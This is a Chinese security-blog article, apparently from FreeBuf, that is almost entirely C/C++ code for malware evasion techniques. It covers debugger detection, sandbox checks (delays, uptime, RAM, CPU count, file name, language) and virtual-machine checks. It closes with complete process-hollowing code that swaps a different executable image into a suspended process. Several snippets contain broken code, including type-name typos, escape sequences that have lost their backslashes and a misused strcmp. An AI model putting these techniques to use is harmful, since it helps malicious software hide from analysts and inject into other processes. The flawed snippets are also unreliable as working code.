反调试
IsDebuggerPresent
#include<windows.h> #include<stdio.h> BOOL check() { return IsDebuggerPresent(); } BOOL isPrime(long long number){ if (number <= 1) return FALSE; int i = 2; for (; i<= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } int main() { if (check()) BOOL d=isPrime(1000000000000000003); return 0; }
CheckRemoteDebuggerPresent
BOOL CheckRemoteDebuggerPresent( [in] HANDLE hProcess, [in, out] PBOOL pbDebuggerPresent );
#include<windows.h> #include<stdio.h> BOOL check() { HANDLE hProcess = GetCurrentProcess(); BOOL debuggerPresent; if (hProcess != NULL) { CheckRemoteDebuggerPresent(hProcess, &debuggerPresent); CloseHandle(hProcess); return debuggerPresent; } else { CloseHandle(hProcess); return TRUE; } } BOOL isPrime(long long number){ if (number <= 1) return FALSE; int i = 2; for (; i<= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } int main() { if (check()) BOOL d=isPrime(1000000000000000003); return 0; }
NtQueryInformationProcess
#include<windows.h> #include<stdio.h> #include<iostream> typedef NTSTATUS(NTAPI* pfnNtQueryInformationProcess)( _In_ HANDLE ProcessHandle, _In_ UINT ProcessInformationClass, _Out_ PVOID ProcessInformation, _In_ ULONG ProcessInformationLength, _Out_opt_ PULONG ReturnLength); BOOL check() { pfnNtQueryInformationProcess NtQueryInformationProcess = NULL; NTSTATUS status; DWORD isDebuggerPresent = -1; HMODULE hNtDll = LoadLibrary(TEXT("ntdll.dll")); if (hNtDll) { NtQueryInformationProcess = (pfnNtQueryInformationProcess)GetProcAddress(hNtDll, "NtQueryInformationProcess"); if (NtQueryInformationProcess) { status = NtQueryInformationProcess( GetCurrentProcess(), 0x7, &isDebuggerPresent, sizeof(DWORD), NULL ); if (status == 0 && isDebuggerPresent != 0) { // 输出 return TRUE; } return FALSE; } } } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i<= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } int main() { if (check()) BOOL d=isPrime(1000000000000000003); return 0; }
检测进程
#include <windows.h> #include <tlhelp32.h> #include <stdio.h> BOOL check() { HANDLE hProcessSnap; PROCESSENTRY32 pe32; hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProcessSnap == INVALID_HANDLE_VALUE) { printf("错误:无法创建进程快照n"); return 1; } pe32.dwSize = sizeof(PROCESSENTRY32); if (!Process32First(hProcessSnap, &pe32)) { printf("错误:无法获取第一个进程n"); CloseHandle(hProcessSnap); return 1; } do { if (wcscmp(pe32.szExeFile, L"ida.exe") == 0 || wcscmp(pe32.szExeFile, L"x64dbg.exe")==0) { CloseHandle(hProcessSnap); return TRUE; } } while (Process32Next(hProcessSnap, &pe32)); CloseHandle(hProcessSnap); return FALSE; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } int main() { if (check()) BOOL d = isPrime(1000000000000000003); return 0; }
反沙箱
时间对抗
WaitForSingleObject
HANDLE CreateEventA( [in, optional] LPSECURITY_ATTRIBUTES lpEventAttributes, [in] BOOL bManualReset, [in] BOOL bInitialState, [in, optional] LPCSTR lpName );
#include <windows.h> #include <tlhelp32.h> #include <stdio.h> BOOL check() { HANDLE hEvent = CreateEventA(NULL, TRUE, FALSE, NULL); WaitForSingleObject(hEvent, 10000); CloseHandle(hEvent); return FALSE; } int main() { if (check()){} return 0; }
NtDelayExecution
#include <windows.h> #include <iostream> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL check() { // 加载 ntdll.dll HMODULE hModule = LoadLibrary(L"ntdll.dll"); if (hModule == NULL) { return 1; } // 获取 NtDelayExecution 函数地址 pfnNtDelayExecution fnNtDelayExecution = (pfnNtDelayExecution)GetProcAddress(hModule, "NtDelayExecution"); if (fnNtDelayExecution == NULL) { FreeLibrary(hModule); return 1; } // 构造延迟时间 LARGE_INTEGER delayTime; delayTime.QuadPart = -50000000; //5秒 // 调用 NtDelayExecution 函数 NTSTATUS status = fnNtDelayExecution(FALSE, &delayTime); if (status != 0) { std::cout << "NtDelayExecution failed with status: " << status << std::endl; FreeLibrary(hModule); } } int main() { if (check()){} return 0; }
GetTickCount64
#include <windows.h> #include <sysinfoapi.h> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL isPrime(long long number); BOOL check(); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { ULONGLONG t = GetTickCount64(); if (t / 3600000 < 2) return TRUE; return FALSE; }
环境检测
GlobalMemoryStatusEx
#include <windows.h> #include <sysinfoapi.h> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL isPrime(long long number); BOOL check(); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { MEMORYSTATUSEX memoryStatus; memoryStatus.dwLength = sizeof(MEMORYSTATUSEX); GlobalMemoryStatusEx(&memoryStatus); DWORD RAMMB = memoryStatus.ullTotalPhys / 1024/1024/1024; //内存RAMMB(G) if (RAMMB < 2) return TRUE; return FALSE; }
dwNumberOfProcessors
#include <windows.h> #include <sysinfoapi.h> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL isPrime(long long number); BOOL check(); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { SYSTEM_INFO systemInfo; GetSystemInfo(&systemInfo); DWORD numberOfProcessors = systemInfo.dwNumberOfProcessors; if (numberOfProcessors < 4) return TRUE; return FALSE; }
检测文件名
#include <windows.h> #include <sysinfoapi.h> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL isPrime(long long number); BOOL check(const char* name); int main(int argc, char const* argv[]) { if (check(argv[0])) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check(const char *name) { printf("%s", name); if (strcmp(name, "c:\c_project\aaa.exe") > 0) //绝对路径 { return FALSE; } return TRUE; }
检测语言
#include <windows.h> #include <sysinfoapi.h> #include <stdio.h> typedef NTSTATUS(NTAPI* pfnNtDelayExecution)(BOOL Alertable, PLRGE_INTEGER DelayInterval); BOOL isPrime(long long number); BOOL check(const char* name); int main(int argc, char const* argv[]) { if (check(argv[0])) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check(const char *name) { LANGID lid = GetSystemDefaultLangID(); // 获取系统默认ID switch (lid) { case 0x0804://中文 return FALSE; case 0x0409: return TRUE; } return TRUE; }
反虚拟机
PathIsDirectoryA
#include<shlwapi.h> #include <windows.h> #include<iostream> #include<stdio.h> #pragma comment(lib, "shlwapi.lib") BOOL isPrime(long long number); BOOL check(); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { if (PathIsDirectoryA((LPCSTR) "C:\Program Files\VMware")) return TRUE; return FALSE; }
进程检测
#include <windows.h> #include <TlHelp32.h> #include<stdio.h> BOOL isPrime(long long number); BOOL check(); BOOL getpid(LPCTSTR ProcessName); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { if (getpid(L"vmtoolsd.exe")|| getpid(L"vboxservice.exe") || getpid(L"vboxtray.exe") || getpid(L"vm3dservice.exe")) return TRUE; return FALSE; } BOOL getpid(LPCTSTR ProcessName) { HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProceessnap == INVALID_HANDLE_VALUE) { puts("创建进行快照失败n"); return 0; } else { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); BOOL hProcess = Process32First(hProceessnap, &pe32); while (hProcess) { if (_wcsicmp(ProcessName, pe32.szExeFile) == 0) { printf("pid:%dn", pe32.th32ProcessID); //printf("ppid:%d", pe32.th32ParentProcessID); CloseHandle(hProceessnap); return TRUE; } hProcess = Process32Next(hProceessnap, &pe32); } } CloseHandle(hProceessnap); return FALSE; }
黑DLL父进程检测
#include <windows.h> #include <TlHelp32.h> #include<stdio.h> #include<psapi.h> #include<string.h> BOOL isPrime(long long number); BOOL check(); BOOL getpid(DWORD pid); int main() { if (check()) { isPrime(1000000000000000003); } return 0; } BOOL isPrime(long long number) { if (number <= 1) return FALSE; int i = 2; for (; i <= number; ++i) { if (number % i == 0) { printf("%d", i); return FALSE; } } printf("%d", i); return TRUE; } BOOL check() { if (getpid(GetCurrentProcessId())) return TRUE; return FALSE; } BOOL getpid(DWORD pid) { HANDLE hProceessnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hProceessnap == INVALID_HANDLE_VALUE) { puts("创建进行快照失败n"); return 0; } else { PROCESSENTRY32 pe32; pe32.dwSize = sizeof(pe32); BOOL hProcess = Process32First(hProceessnap, &pe32); while (hProcess) { if (pe32.th32ProcessID == pid) { char Buffer[1000] = { 0 }; HANDLE parentProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, false, pe32.th32ParentProcessID); printf("%dn", pe32.th32ParentProcessID); GetModuleFileNameExA(parentProcessHandle, 0, Buffer, MAX_PATH); printf("%s", Buffer); CloseHandle(hProceessnap); if(strstr(Buffer,"rundll32")) return TRUE; return FALSE; } hProcess = Process32Next(hProceessnap, &pe32); } } CloseHandle(hProceessnap); return FALSE; }
傀儡进程
#include <iostream> #include <Windows.h> const char* g_TargetFile = R"(C:UserscoleakDesktopee.exe)"; const char* g_TargetFile2 = R"(C:UserscoleakDesktopdd.exe)"; typedef NTSTATUS(WINAPI* FnNtUnmapViewOfSection)(HANDLE, PVOID); int main() { STARTUPINFOA si = { 0 }; si.cb = sizeof(STARTUPINFOA); PROCESS_INFORMATION pi; //以挂起的模式启动一个进程 BOOL bRet = CreateProcessA((LPCSTR)g_TargetFile2, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); //打开文件 HANDLE hFile = CreateFileA((LPCSTR)g_TargetFile, GENERIC_READ, NULL, NULL, OPEN_EXISTING, 0, NULL); //获取文件大小 DWORD dwFileSize = GetFileSize(hFile, NULL); //申请一块内存空间 PVOID lpBuffer = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); //将内存读取到申请的内存空间 DWORD dwReadLength = 0; ReadFile(hFile, lpBuffer, dwFileSize, &dwReadLength, NULL); //关闭文件 CloseHandle(hFile); //解析PE文件 //获取Dos头 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)lpBuffer; //获取Nt头 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + (DWORD)lpBuffer); //获取线程上下文 CONTEXT ctx; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx); //获取模块基地址 PVOID lpImageBase; ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 8), &lpImageBase, sizeof(PVOID), NULL); if ((DWORD)lpImageBase == pNt->OptionalHeader.ImageBase) { FnNtUnmapViewOfSection NtUnmapViewOfSection = (FnNtUnmapViewOfSection)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection"); NtUnmapViewOfSection(pi.hProcess, lpImageBase); } //申请内存设置属性为rwx PVOID lpTargetMemory = VirtualAllocEx(pi.hProcess, (PVOID)pNt->OptionalHeader.ImageBase, pNt->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, lpTargetMemory, lpBuffer, pNt->OptionalHeader.SizeOfHeaders, NULL); PIMAGE_SECTION_HEADER pSection; for (int i = 0; i < pNt->FileHeader.NumberOfSections; i++) { pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)lpBuffer + pDos->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (sizeof(IMAGE_SECTION_HEADER) * i)); WriteProcessMemory(pi.hProcess, ((LPBYTE)lpTargetMemory + pSection->VirtualAddress), ((LPBYTE)lpBuffer + pSection->PointerToRawData), pSection->SizeOfRawData, NULL); } ctx.Eax = (DWORD)((LPBYTE)lpTargetMemory + pNt->OptionalHeader.AddressOfEntryPoint); //替换PE头 WriteProcessMemory(pi.hProcess, (LPVOID)(ctx.Ebx + sizeof(DWORD) * 2), &pNt->OptionalHeader.ImageBase, sizeof(LPVOID), NULL); SetThreadContext(pi.hThread, &ctx); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return 0; }
后记
GetSystemDefaultLangID函数返回值ID参照表
zh-HK | 0x0C04 | 中文(香港特别行政区,中国) |
---|---|---|
zh-MO | 0x1404 | 中文(澳门特别行政区) |
zh-CN | 0x0804 | 中文(中国) |
zh-Hans | 0x0004 | 中文(简体) |
zh-SG | 0x1004 | 中文(新加坡) |
zh-TW | 0x0404 | 中文(台湾) |
zh-Hant | 0x7C04 | 中文(繁体) |
# 虚拟机 # 沙箱
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022